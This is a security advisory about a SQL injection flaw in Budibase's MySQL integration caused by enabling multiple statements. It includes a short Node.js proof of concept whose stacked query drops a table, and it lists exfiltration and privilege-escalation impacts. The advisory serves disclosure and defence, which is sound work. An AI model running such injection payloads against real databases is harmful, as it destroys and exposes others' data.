Description

Summary

A critical SQL injection vulnerability was discovered in Budibase's MySQL integration that allows remote attackers to execute arbitrary SQL commands.

Details

Vulnerability Type

SQL Injection

Description

The MySQL integration component in Budibase is configured with multipleStatements: true, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise.

Location

// File: packages/server/src/integrations/mysql.ts
// Line: 173

this.config = {
  ...config,
  typeCast: defaultTypeCasting,
  multipleStatements: true,  // VULNERABLE
  timezone: "Z",
}

Proof of Concept

Exploit

const mysql = require('mysql2');

// Budibase vulnerable configuration
const connection = mysql.createConnection({
  host: 'localhost',
  user: 'root',
  password: 'password',
  multipleStatements: true,  // Vulnerable setting
  timezone: "Z"
});

// Attack: Data destruction
connection.query(
  `SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --`,
  (err, results) => {
    if (!err) console.log("Table dropped successfully");
  }
);

Impact

  • Data Destruction: Execute DROP TABLE, DELETE commands
  • Data Theft: Exfiltrate data via SELECT INTO OUTFILE
  • Privilege Escalation: Grant database admin privileges
  • Denial of Service: Disrupt service operations
  • Complete Database Compromise: Full control over database

Workarounds

  1. Temporarily disable MySQL integration
  2. Implement web application firewall (WAF)
  3. Restrict database user privileges
